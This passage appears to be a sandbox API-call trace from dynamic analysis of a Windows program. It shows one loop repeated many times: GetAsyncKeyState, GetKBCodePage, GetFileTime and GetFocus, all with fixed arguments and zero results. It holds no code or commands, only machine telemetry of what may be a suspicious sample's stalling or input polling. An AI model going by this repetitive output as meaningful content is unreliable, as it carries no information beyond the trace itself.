GetAsyncKeyState (vKey=58) returned 0 [0226.966] GetKBCodePage () returned 0x1b5 [0226.966] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.966] GetFocus () returned 0x0 [0226.966] GetAsyncKeyState (vKey=58) returned 0 [0226.966] GetKBCodePage () returned 0x1b5 [0226.966] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.966] GetFocus () returned 0x0 [0226.967] GetAsyncKeyState (vKey=58) returned 0 [0226.967] GetKBCodePage () returned 0x1b5 [0226.967] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.967] GetFocus () returned 0x0 [0226.967] GetAsyncKeyState (vKey=58) returned 0 [0226.967] GetKBCodePage () returned 0x1b5 [0226.967] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.967] GetFocus () returned 0x0 [0226.967] GetAsyncKeyState (vKey=58) returned 0 [0226.967] GetKBCodePage () returned 0x1b5 [0226.967] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.967] GetFocus () returned 0x0 [0226.967] GetAsyncKeyState (vKey=58) returned 0 [0226.967] GetKBCodePage () returned 0x1b5 [0226.967] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.967] GetFocus () returned 0x0 [0226.967] GetAsyncKeyState (vKey=58) returned 0 [0226.967] GetKBCodePage () returned 0x1b5 [0226.967] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.967] GetFocus () returned 0x0 [0226.967] GetAsyncKeyState (vKey=58) returned 0 [0226.967] GetKBCodePage () returned 0x1b5 [0226.967] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.967] GetFocus () returned 0x0 [0226.967] GetAsyncKeyState (vKey=58) returned 0 [0226.967] GetKBCodePage () returned 0x1b5 [0226.967] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.967] GetFocus () returned 0x0 [0226.967] GetAsyncKeyState (vKey=58) returned 0 [0226.967] GetKBCodePage () returned 0x1b5 [0226.967] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.967] GetFocus () returned 0x0 [0226.967] GetAsyncKeyState (vKey=58) returned 0 [0226.967] GetKBCodePage () returned 0x1b5 [0226.968] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.968] GetFocus () returned 0x0 [0226.968] GetAsyncKeyState (vKey=58) returned 0 [0226.968] GetKBCodePage () returned 0x1b5 [0226.968] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.968] GetFocus () returned 0x0 [0226.968] GetAsyncKeyState (vKey=58) returned 0 [0226.968] GetKBCodePage () returned 0x1b5 [0226.968] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.968] GetFocus () returned 0x0 [0226.968] GetAsyncKeyState (vKey=58) returned 0 [0226.968] GetKBCodePage () returned 0x1b5 [0226.968] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.968] GetFocus () returned 0x0 [0226.968] GetAsyncKeyState (vKey=58) returned 0 [0226.968] GetKBCodePage () returned 0x1b5 [0226.968] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.968] GetFocus () returned 0x0 [0226.968] GetAsyncKeyState (vKey=58) returned 0 [0226.968] GetKBCodePage () returned 0x1b5 [0226.968] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.968] GetFocus () returned 0x0 [0226.968] GetAsyncKeyState (vKey=58) returned 0 [0226.968] GetKBCodePage () returned 0x1b5 [0226.968] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.968] GetFocus () returned 0x0 [0226.968] GetAsyncKeyState (vKey=58) returned 0 [0226.968] GetKBCodePage () returned 0x1b5 [0226.968] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.968] GetFocus () returned 0x0 [0226.968] GetAsyncKeyState (vKey=58) returned 0 [0226.968] GetKBCodePage () returned 0x1b5 [0226.968] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.968] GetFocus () returned 0x0 [0226.969] GetAsyncKeyState (vKey=58) returned 0 [0226.969] GetKBCodePage () returned 0x1b5 [0226.969] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.969] GetFocus () returned 0x0 [0226.969] GetAsyncKeyState (vKey=58) returned 0 [0226.969] GetKBCodePage () returned 0x1b5 [0226.969] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.969] GetFocus () returned 0x0 [0226.969] GetAsyncKeyState (vKey=58) returned 0 [0226.969] GetKBCodePage () returned 0x1b5 [0226.969] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.969] GetFocus () returned 0x0 [0226.969] GetAsyncKeyState (vKey=58) returned 0 [0226.969] GetKBCodePage () returned 0x1b5 [0226.969] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.969] GetFocus () returned 0x0 [0226.969] GetAsyncKeyState (vKey=58) returned 0 [0226.969] GetKBCodePage () returned 0x1b5 [0226.969] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.969] GetFocus () returned 0x0 [0226.969] GetAsyncKeyState (vKey=58) returned 0 [0226.969] GetKBCodePage () returned 0x1b5 [0226.969] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.969] GetFocus () returned 0x0 [0226.969] GetAsyncKeyState (vKey=58) returned 0 [0226.969] GetKBCodePage () returned 0x1b5 [0226.969] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.969] GetFocus () returned 0x0 [0226.969] GetAsyncKeyState (vKey=58) returned 0 [0226.969] GetKBCodePage () returned 0x1b5 [0226.969] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.969] GetFocus () returned 0x0 [0226.969] GetAsyncKeyState (vKey=58) returned 0 [0226.969] GetKBCodePage () returned 0x1b5 [0226.969] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.970] GetFocus () returned 0x0 [0226.970] GetAsyncKeyState (vKey=58) returned 0 [0226.970] GetKBCodePage () returned 0x1b5 [0226.970] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.970] GetFocus () returned 0x0 [0226.970] GetAsyncKeyState (vKey=58) returned 0 [0226.970] GetKBCodePage () returned 0x1b5 [0226.970] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.970] GetFocus () returned 0x0 [0226.970] GetAsyncKeyState (vKey=58) returned 0 [0226.970] GetKBCodePage () returned 0x1b5 [0226.970] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.970] GetFocus () returned 0x0 [0226.970] GetAsyncKeyState (vKey=58) returned 0 [0226.970] GetKBCodePage () returned 0x1b5 [0226.970] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.970] GetFocus () returned 0x0 [0226.970] GetAsyncKeyState (vKey=58) returned 0 [0226.970] GetKBCodePage () returned 0x1b5 [0226.970] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.970] GetFocus () returned 0x0 [0226.970] GetAsyncKeyState (vKey=58) returned 0 [0226.970] GetKBCodePage () returned 0x1b5 [0226.970] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.970] GetFocus () returned 0x0 [0226.970] GetAsyncKeyState (vKey=58) returned 0 [0226.970] GetKBCodePage () returned 0x1b5 [0226.970] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.970] GetFocus () returned 0x0 [0226.970] GetAsyncKeyState (vKey=58) returned 0 [0226.970] GetKBCodePage () returned 0x1b5 [0226.970] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.971] GetFocus () returned 0x0 [0226.971] GetAsyncKeyState (vKey=58) returned 0 [0226.971] GetKBCodePage () returned 0x1b5 [0226.971] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.971] GetFocus () returned 0x0 [0226.971] GetAsyncKeyState (vKey=58) returned 0 [0226.971] GetKBCodePage () returned 0x1b5 [0226.971] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.971] GetFocus () returned 0x0 [0226.971] GetAsyncKeyState (vKey=58) returned 0 [0226.971] GetKBCodePage () returned 0x1b5 [0226.971] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.971] GetFocus () returned 0x0 [0226.971] GetAsyncKeyState (vKey=58) returned 0 [0226.971] GetKBCodePage () returned 0x1b5 [0226.971] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.971] GetFocus () returned 0x0 [0226.971] GetAsyncKeyState (vKey=58) returned 0 [0226.971] GetKBCodePage () returned 0x1b5 [0226.971] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.971] GetFocus () returned 0x0 [0226.971] GetAsyncKeyState (vKey=58) returned 0 [0226.971] GetKBCodePage () returned 0x1b5 [0226.971] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.971] GetFocus () returned 0x0 [0226.971] GetAsyncKeyState (vKey=58) returned 0 [0226.971] GetKBCodePage () returned 0x1b5 [0226.971] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.971] GetFocus () returned 0x0 [0226.971] GetAsyncKeyState (vKey=58) returned 0 [0226.971] GetKBCodePage () returned 0x1b5 [0226.971] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.971] GetFocus () returned 0x0 [0226.971] GetAsyncKeyState (vKey=58) returned 0 [0226.972] GetKBCodePage () returned 0x1b5 [0226.972] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.972] GetFocus () returned 0x0 [0226.972] GetAsyncKeyState (vKey=58) returned 0 [0226.972] GetKBCodePage () returned 0x1b5 [0226.972] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.972] GetFocus () returned 0x0 [0226.972] GetAsyncKeyState (vKey=58) returned 0 [0226.972] GetKBCodePage () returned 0x1b5 [0226.972] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.972] GetFocus () returned 0x0 [0226.972] GetAsyncKeyState (vKey=58) returned 0 [0226.972] GetKBCodePage () returned 0x1b5 [0226.972] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.972] GetFocus () returned 0x0 [0226.972] GetAsyncKeyState (vKey=58) returned 0 [0226.972] GetKBCodePage () returned 0x1b5 [0226.972] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.972] GetFocus () returned 0x0 [0226.972] GetAsyncKeyState (vKey=58) returned 0 [0226.972] GetKBCodePage () returned 0x1b5 [0226.972] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.972] GetFocus () returned 0x0 [0226.972] GetAsyncKeyState (vKey=58) returned 0 [0226.972] GetKBCodePage () returned 0x1b5 [0226.972] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.972] GetFocus () returned 0x0 [0226.972] GetAsyncKeyState (vKey=58) returned 0 [0226.972] GetKBCodePage () returned 0x1b5 [0226.972] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.972] GetFocus () returned 0x0 [0226.972] GetAsyncKeyState (vKey=58) returned 0 [0226.972] GetKBCodePage () returned 0x1b5 [0226.972] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: 